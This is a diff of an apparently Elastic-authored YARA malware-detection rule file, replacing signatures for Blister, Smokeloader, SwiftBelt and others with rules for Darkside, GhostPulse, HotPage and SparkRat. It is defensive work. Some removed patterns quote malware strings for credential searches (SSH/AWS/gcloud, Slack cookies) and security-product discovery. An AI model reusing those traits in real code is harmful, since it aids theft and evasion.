@@ -60772,29 +64981,35 @@ rule ELASTIC_Windows_Trojan_Blister_68B53E1B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$b_loader_xor = { 48 8B C3 49 03 DC 83 E0 03 8A 44 05 48 [2-3] ?? 03 ?? 4D 2B ?? 75 }
-		$b_loader_virtual_protect = { 48 8D 45 50 41 ?? ?? ?? ?? 00 4C 8D ?? 04 4C 89 ?? ?? 41 B9 04 00 00 00 4C 89 ?? F0 4C 8D 45 58 48 89 44 24 20 48 8D 55 F0 }
+		$guid = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii wide nocase
+		$str0 = "LogonId=\"(\\d+)" ascii wide
+		$str1 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii wide
+		$str2 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii wide
+		$str3 = "KB\\d+" ascii wide
+		$str4 = "(^https?://.+)|(^ftp://)" ascii wide
+		$str5 = "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}" ascii wide
+		$str6 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii wide
 
 	condition:
-		all of them
+		$guid or all of ($str*)
 }
-rule ELASTIC_Windows_Trojan_Blister_487B0966 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Darkside_D7Fc4594 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Blister (Windows.Trojan.Blister)"
+		description = "Detects Windows Ransomware Darkside (Windows.Ransomware.Darkside)"
 		author = "Elastic Security"
-		id = "487b0966-fb24-4c41-84cc-f3a389461ddc"
-		date = "2023-09-11"
-		modified = "2023-09-20"
-		reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Blister.yar#L68-L89"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db"
-		logic_hash = "521409d03335205507cc6894e0de3ca627eb966a95a2f8e7b931e552ad78bbb7"
+		id = "d7fc4594-185c-4afb-986e-5718c0beabf1"
+		date = "2021-05-20"
+		modified = "2021-10-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Darkside.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bfb31c96f9e6285f5bb60433f2e45898b8a7183a2591157dc1d766be16c29893"
+		logic_hash = "0083fb64955973e7dbbb35d08cb780fa0b4ff4d064c102dc8f86e29af8358bad"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7111f2f9746e056f6ac5e08d904f71628a548b4ab2c1181dec0a38f0f8387878"
+		fingerprint = "90444cd2d3a38296b4979f91345a9999b0032f6c0abee6ff7c15d149b59e5e88"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60802,176 +65017,145 @@ rule ELASTIC_Windows_Trojan_Blister_487B0966 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$b_loader0 = { 65 48 8B 04 25 60 00 00 00 44 8B D3 41 BE ?? ?? ?? ?? 48 8B 50 18 48 83 C2 ?? 48 8B 0A }
-		$b_loader1 = { 0F B7 C0 4D 8D 49 02 41 33 C0 44 69 C0 ?? ?? ?? ?? 41 8B C0 C1 E8 0F 44 33 C0 41 0F B7 01 66 85 C0 }
-		$b_loader2 = { 66 45 03 DC 49 83 C2 04 41 0F B7 C3 49 83 C0 02 3B C6 }
+		$a1 = { 5F 30 55 56 BD 0A 00 00 00 8B 07 8B 5F 10 8B 4F 20 8B 57 30 }
 
 	condition:
-		2 of them
+		any of them
 }
-rule ELASTIC_Macos_Hacktool_Swiftbelt_Bc62Ede6 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Darkside_Aceac5D9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Hacktool Swiftbelt (MacOS.Hacktool.Swiftbelt)"
+		description = "Detects Windows Ransomware Darkside (Windows.Ransomware.Darkside)"
 		author = "Elastic Security"
-		id = "bc62ede6-e6f1-4c9e-bff2-ef55a5d12ba1"
-		date = "2021-10-12"
-		modified = "2021-10-25"
-		reference = "https://www.elastic.co/security-labs/inital-research-of-jokerspy"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Hacktool_Swiftbelt.yar#L1-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1"
-		logic_hash = "51481baa6ddb09cf8463d989637319cb26b23fef625cc1a44c96d438c77362ca"
+		id = "aceac5d9-fb38-4dca-ab1f-44ee40005d37"
+		date = "2021-05-20"
+		modified = "2021-10-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Darkside.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bfb31c96f9e6285f5bb60433f2e45898b8a7183a2591157dc1d766be16c29893"
+		logic_hash = "888ab06b55b07879ee6b9a45c04f1a09c570aeb4be55c698300566d57fd47252"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "98d14dba562ad68c8ecc00780ab7ee2ecbe912cd00603fff0eb887df1cd12fdb"
+		fingerprint = "521b0f574b27151ad03fc7693fd692e1a13e81a28e39d04d3f7ea149a0da59b9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$dbg1 = "SwiftBelt/Sources/SwiftBelt"
-		$dbg2 = "[-] Firefox places.sqlite database not found for user"
-		$dbg3 = "[-] No security products found"
-		$dbg4 = "SSH/AWS/gcloud Credentials Search:"
-		$dbg5 = "[-] Could not open the Slack Cookies database"
-		$sec1 = "[+] Malwarebytes A/V found on this host"
-		$sec2 = "[+] Cisco AMP for endpoints found"
-		$sec3 = "[+] SentinelOne agent running"
-		$sec4 = "[+] Crowdstrike Falcon agent found"
-		$sec5 = "[+] FireEye HX agent installed"
-		$sec6 = "[+] Little snitch firewall found"
-		$sec7 = "[+] ESET A/V installed"
-		$sec8 = "[+] Carbon Black OSX Sensor installed"
-		$sec9 = "/Library/Little Snitch"
-		$sec10 = "/Library/FireEye/xagt"
-		$sec11 = "/Library/CS/falcond"
-		$sec12 = "/Library/Logs/PaloAltoNetworks/GlobalProtect"
-		$sec13 = "/Library/Application Support/Malwarebytes"
-		$sec14 = "/usr/local/bin/osqueryi"
-		$sec15 = "/Library/Sophos Anti-Virus"
-		$sec16 = "/Library/Objective-See/Lulu"
-		$sec17 = "com.eset.remoteadministrator.agent"
-		$sec18 = "/Applications/CarbonBlack/CbOsxSensorService"
-		$sec19 = "/Applications/BlockBlock Helper.app"
-		$sec20 = "/Applications/KextViewr.app"
+		$a1 = { 41 54 55 53 48 83 EC 28 48 8B 1F 4C 8B 66 08 48 8D 7C 24 10 4C }
 
 	condition:
-		6 of them
+		any of them
 }
-rule ELASTIC_Linux_Exploit_Openssl_47C6Fad7 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Ghostpulse_A1311F49 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Openssl (Linux.Exploit.Openssl)"
+		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
 		author = "Elastic Security"
-		id = "47c6fad7-0582-4a7a-9c51-68830e6b6132"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Openssl.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8024af0931dff24b5444f0b06a27366a776014358aa0b7fc073030958f863ef8"
-		logic_hash = "4c60071ecd7b826e692710ae11b09be30e7df5833bcaa8642fea014e12b9abd7"
+		id = "a1311f49-65a7-4136-a5ab-28cf4de4d40f"
+		date = "2023-10-06"
+		modified = "2023-10-26"
+		reference = "https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_GhostPulse.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0175448655e593aa299278d5f11b81f2af76638859e104975bdb5d30af5c0c11"
+		logic_hash = "21838f230ac1a77f09d01d30f4ea3b66313618660e63ab7012b030e0b819547e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bde819830cc991269275ce5de2db50489368c821271aaa397ab914011f2fcb91"
+		fingerprint = "e07a8152ab75624aa8dd0a8301d690a6a4bdd3b0e069699632541fb6a32e419b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 31 C9 F7 E1 51 5B B0 A4 CD 80 31 C0 50 68 2F }
+		$a1 = { 0F BE 00 48 0F BE C0 85 C0 74 0D B8 01 00 00 00 03 45 00 89 45 00 EB E1 8B 45 00 48 8D 65 10 5D C3 }
+		$a2 = { 88 4C 24 08 48 83 EC 18 0F B6 44 24 20 88 04 24 0F BE 44 24 20 83 F8 41 7C 13 0F BE 04 24 83 F8 5A 7F 0A 0F BE 04 24 83 C0 20 88 04 24 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Macos_Backdoor_Useragent_1A02Fc3A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Ghostpulse_3Fe1D02D : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Backdoor Useragent (MacOS.Backdoor.Useragent)"
+		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
 		author = "Elastic Security"
-		id = "1a02fc3a-a394-457b-8af5-99f7f22b0a3b"
-		date = "2021-11-11"
-		modified = "2022-07-22"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Backdoor_Useragent.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "623f99cbe20af8b79cbfea7f485d47d3462d927153d24cac4745d7043c15619a"
-		logic_hash = "90debdfc24ef100952302808a2e418bca2a46be3e505add9a0ccf4c49aff5102"
+		id = "3fe1d02d-5de3-42df-8389-6a55fc2b8afd"
+		date = "2023-10-12"
+		modified = "2023-10-26"
+		reference = "https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_GhostPulse.yar#L23-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "4ef78d436a153ed751a8483c1e43ec2ba053dedfa0da2780fded42012d3042c1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "22afa14a3dc6f8053b93bf3e971d57808a9cc19e676f9ed358ba5f1db9292ba4"
+		fingerprint = "18aed348ba64bee842fb6af3b3220e108052a67f49724cf34ba52c8ec7c15cac"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$s1 = "/Library/LaunchAgents/com.UserAgent.va.plist"
-		$s2 = "this is not root"
-		$s3 = "rm -Rf "
-		$s4 = "/start.sh"
-		$s5 = ".killchecker_"
+		$a = { 48 89 5C 24 08 48 89 7C 24 10 8B DA 45 33 D2 48 8B F9 41 2B D9 74 50 4C 8B D9 4C 2B C1 0F 1F 00 33 C9 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Mtcbsv_7F6D642E : FILE
+rule ELASTIC_Windows_Trojan_Ghostpulse_3673D337 : FILE MEMORY
 {
 	meta:
-		description = "Name: mtcBSv64.sys, Version: 21.2.0.0"
+		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
 		author = "Elastic Security"
-		id = "7f6d642e-bf8c-44e7-939f-08513523ee2e"
-		date = "2022-04-07"
-		modified = "2022-04-07"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_MtcBsv.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ff803017d1acafde6149fe7d463aee23b1c4f6f3b97c698c05f3ca6f07e4df6c"
-		logic_hash = "dfd53a2b97ad722307561fc5f109dcba372bf600113786bb351ed1262fdc8556"
+		id = "3673d337-218b-4ea8-93f5-ecbc6fe51885"
+		date = "2023-12-11"
+		modified = "2024-01-12"
+		reference = "https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_GhostPulse.yar#L43-L63"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3013ba32838f6d97d7d75e25394f9611b1c5def94d93588f0a05c90b25b7d6d5"
+		logic_hash = "a92815f27533338e17afd5ebdbe82e382636fb81167a82d1b613c0dccc5b7ed3"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "f59ad8d5f19584e76e67689aba1e0d305d451ed6a030c6e2bccd048e0aeb0b0a"
-		threat_name = "Windows.VulnDriver.MtcBsv"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "0b46a0e04ab2ca2760b2ace397a09b681bc6c0da5581c3f0f5cdb1a60f307a15"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 74 00 63 00 42 00 53 00 76 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x02][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x14][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$IDAT_parser_x86 = { 80 F9 3F 75 ?? 38 54 1E 02 74 ?? 80 FA 3F 75 ?? 38 6C 1E 03 74 ?? 80 FD 3F 75 ?? 8A 74 24 04 38 74 1E 04 }
+		$IDAT_parser_x64 = { 80 FB 3F 0F 94 44 24 27 3C 3F 0F 94 44 24 30 40 80 FF 3F 0F 94 44 24 31 41 80 FD 3F 0F 94 44 24 32 41 80 FC 3F 0F 94 44 24 33 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Smokeloader_4E31426E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Ghostpulse_8Ae8310B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Smokeloader (Windows.Trojan.Smokeloader)"
+		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
 		author = "Elastic Security"
-		id = "4e31426e-d62e-4b6d-911b-4223e1f6adef"
-		date = "2021-07-21"
-		modified = "2021-08-23"
+		id = "8ae8310b-4ead-4b5c-be73-7db365470891"
+		date = "2024-05-27"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Smokeloader.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174"
-		logic_hash = "44ac7659964519ae72f83076bcd1b3e5244eb9cadd9a3b123dda78b0e9e07424"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_GhostPulse.yar#L65-L84"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b64f91b41a7390d89cd3b1fccf02b08b18b7fed17a43b0bfac63d75dc0df083"
+		logic_hash = "b3873a3c728e98d65984033620c0ac8ee93be21db5b6d9bd4665b9f7d0d759fa"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277"
+		fingerprint = "61213fd4ce9ddebdc7de8e6b23827347af3cbddd61254f95917e9af6b8a2b7b2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60979,28 +65163,29 @@ rule ELASTIC_Windows_Trojan_Smokeloader_4E31426E : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0 }
+		$a = { 48 8B 84 24 ?? 0D 00 00 8B 40 14 0F BA E8 09 48 8B 8C 24 ?? 0D 00 00 89 41 14 48 8B 84 24 ?? 0D 00 00 48 8B 8C 24 ?? 05 00 00 48 89 88 C0 ?? 00 00 }
+		$b = { BA C8 90 F0 B2 48 8B ?? ?? ?? E8 ?? ?? ?? 00 48 89 ?? ?? ?? 07 00 00 BA 9C 6C DA DC 48 8B ?? ?? ?? E8 ?? ?? ?? 00 48 89 ?? ?? ?? 07 00 00 BA 8D 20 4A A1 48 8B ?? ?? ?? E8 ?? ?? ?? 00 48 89 ?? ?? ?? 07 00 00 BA D4 7C 1A A8 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Smokeloader_4Ee15B92 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Ghostpulse_9E22C56D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Smokeloader (Windows.Trojan.Smokeloader)"
+		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
 		author = "Elastic Security"
-		id = "4ee15b92-c62f-42d2-bbba-1dac2fa5644f"
-		date = "2022-02-17"
-		modified = "2022-04-12"
+		id = "9e22c56d-91bf-4259-8b60-aa7323b5e8f9"
+		date = "2024-07-21"
+		modified = "2024-07-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Smokeloader.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "09b9283286463b35ea2d5abfa869110eb124eb8c1788eb2630480d058e82abf2"
-		logic_hash = "7d5ba6a4cc1f1b87f7ea1963b41749f5488197ea28b31f20a235091236250463"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_GhostPulse.yar#L86-L106"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "349b4dfa1e93144b010affba926663264288a5cfcb7b305320f466b2551b93df"
+		logic_hash = "5dbd0d6a936a73e933181017c67c36fde7576b47643ec00848f7b58170bd9c6b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5d2ed385c76dbb4c1c755ae88b68306086a199a25a29317ae132bc874b253580"
+		fingerprint = "5e9883ad58fee79960a6e5e3c266885c6dc72057a16f4ea0e371088571e9b663"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61008,28 +65193,30 @@ rule ELASTIC_Windows_Trojan_Smokeloader_4Ee15B92 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 24 34 30 33 33 8B 45 F4 5F 5E 5B C9 C2 10 00 55 89 E5 83 EC }
+		$a = { C7 44 24 28 80 3C 36 FE C7 44 24 2C FF FF FF FF 53 6A 00 }
+		$b = { 80 7C 24 04 3F ?? ?? 8A 74 24 08 38 74 1E 05 8A 6C 24 10 ?? ?? 80 7C 24 08 3F }
+		$c = { 89 41 5C 8B 44 24 ?? 8B 80 04 01 00 00 89 44 24 ?? 8B 42 3C 8B 44 02 78 8B 4C 02 20 01 D1 89 4C 24 ?? 8B 4C 02 1C 89 4C 24 ?? 8B 44 02 24 89 44 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Smokeloader_Ea14B2A5 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Hotpage_414F235F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Smokeloader (Windows.Trojan.Smokeloader)"
+		description = "Detects Windows Trojan Hotpage (Windows.Trojan.HotPage)"
 		author = "Elastic Security"
-		id = "ea14b2a5-ea0d-4da2-8190-dbfcda7330d9"
-		date = "2023-05-03"
-		modified = "2023-06-13"
+		id = "414f235f-5e16-449a-9ac5-556655c4418e"
+		date = "2024-07-18"
+		modified = "2024-07-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Smokeloader.yar#L41-L60"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "15fe237276b9c2c6ceae405c0739479d165b406321891c8a31883023e7b15d54"
-		logic_hash = "8a96985902f82979f1512d4d30cfa41fd23562b8f86bf2f722351ef2adf4365f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_HotPage.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b8464126b64c809b4ab47aa91c5f322ce2c0ae4fd668a43de738a5caa7567225"
+		logic_hash = "cfa0036b22a83a5396b3f9014511720071246a775053ad493791ebc1212400f2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "950ce9826fdff209b6e03c70a4f78b812d211a2a9de84bec0e5efe336323001b"
+		fingerprint = "6f590056d3f7bb9f743861e8d317ec589d8703353428dfcea9a6d2f61f266cdf"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61037,38 +65224,44 @@ rule ELASTIC_Windows_Trojan_Smokeloader_Ea14B2A5 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { AC 41 80 01 AC 41 80 00 AC 41 80 00 AC 41 C0 00 AC 41 80 01 }
-		$a2 = { AC 41 80 00 AC 41 80 07 AC 41 80 00 AC 41 80 00 AC 41 80 00 }
+		$SpcSpOpusInfo = { 30 48 A0 1A 80 18 6E 56 53 17 76 FE 7F 51 7F 51 7E DC 79 D1 62 80 67 09 96 50 51 6C 53 F8 }
+		$s1 = "\\Device\\KNewTableBaseIo"
+		$s2 = "Release\\DwAdsafeLoad.pdb"
+		$s3 = "RedDriver.pdb"
+		$s4 = "Release\\DwAdSafe.pdb"
+		$s5 = "[%s] Begin injecting Broser pid=[%d]"
+		$s6 = "[%s] ADDbrowser PID ->[%d]"
 
 	condition:
-		all of them
+		$SpcSpOpusInfo or 2 of ($s*)
 }
-rule ELASTIC_Windows_Trojan_Smokeloader_De52Ed44 : FILE MEMORY
+rule ELASTIC_Multi_Trojan_Sparkrat_9A21E541 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Smokeloader (Windows.Trojan.Smokeloader)"
+		description = "Detects Multi Trojan Sparkrat (Multi.Trojan.SparkRat)"
 		author = "Elastic Security"
-		id = "de52ed44-062c-4b0d-9a41-1bfc31a8daa9"
-		date = "2023-05-04"
-		modified = "2023-06-13"
+		id = "9a21e541-886c-4d7f-8602-832862121730"
+		date = "2023-11-13"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Smokeloader.yar#L62-L81"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c689a384f626616005d37a94e6a5a713b9eead1b819a238e4e586452871f6718"
-		logic_hash = "95a60079a316016ca3f78f18e7920b962f5770bef4211dd70e37f45bbe069406"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_SparkRat.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "23efecc03506a9428175546a4b7d40c8a943c252110e83dec132c6a5db8c4dd6"
+		logic_hash = "903c5c65436bea8dd044fd5f1f6dda3d1e90ab25802d508f67ba0f7fd06e92d4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "950db8f87a81ef05cc2ecbfa174432ab31a3060c464836f3b38448bd8e5801be"
+		fingerprint = "2691da3a037b651d0f7f6d7be767c34845c3b9a642f4a2fb1c54f391f08089b6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "multi"
 
 	strings:
-		$a1 = { 08 31 FF 89 7D CC 66 8C E8 66 85 C0 74 03 FF 45 CC FF 53 48 }
-		$a2 = { B0 8F 45 C8 8D 45 B8 89 38 8D 4D C8 6A 04 57 6A 01 51 57 57 }
+		$a1 = "Spark/client/service/file" ascii wide
+		$a2 = "Spark/client/service/desktop" ascii wide
+		$a3 = "Spark/utils.Encrypt" ascii wide
 
 	condition:
 		all of them
@@ -61082,8 +65275,8 @@ rule ELASTIC_Linux_Trojan_Sambashell_F423755D : FILE MEMORY
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sambashell.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sambashell.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
 		hash = "bd8a3728a59afbf433799578ef597b9a7211c8d62e87a25209398814851a77ea"
 		logic_hash = "b93c671fae87cd635679142d248cb2b754389ba3b416f3370ea331640eb906ab"
 		score = 75
@@ -61102,23 +65295,23 @@ rule ELASTIC_Linux_Trojan_Sambashell_F423755D : FILE MEMORY
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_PUP_Veriato_Fae5978C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pipedance_01C18057 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Pup Veriato (Windows.PUP.Veriato)"
+		description = "Detects Windows Trojan Pipedance (Windows.Trojan.PipeDance)"
 		author = "Elastic Security"
